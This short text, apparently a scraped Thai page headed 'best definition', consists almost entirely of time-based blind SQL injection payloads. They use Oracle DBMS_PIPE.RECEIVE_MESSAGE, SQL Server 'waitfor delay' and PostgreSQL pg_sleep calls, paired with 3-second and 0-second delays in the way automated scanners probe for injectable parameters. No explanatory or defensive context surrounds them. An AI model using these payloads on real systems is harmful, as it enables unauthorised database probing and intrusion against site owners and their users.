นิยามที่ดีที่สุด
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123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',3)='e


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123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',0)='m


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123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('p',3)


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123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('n',0)


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123456'and(select+1)>0waitfor/**/delay'0:0:3


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123456'and(select+1)>0waitfor/**/delay'0:0:0


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123456/**/and(select+1)>0waitfor/**/delay'0:0:3'/**/


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123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/


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123456'/**/and(select'1'from/**/pg_sleep(3))::text>'0


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123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0


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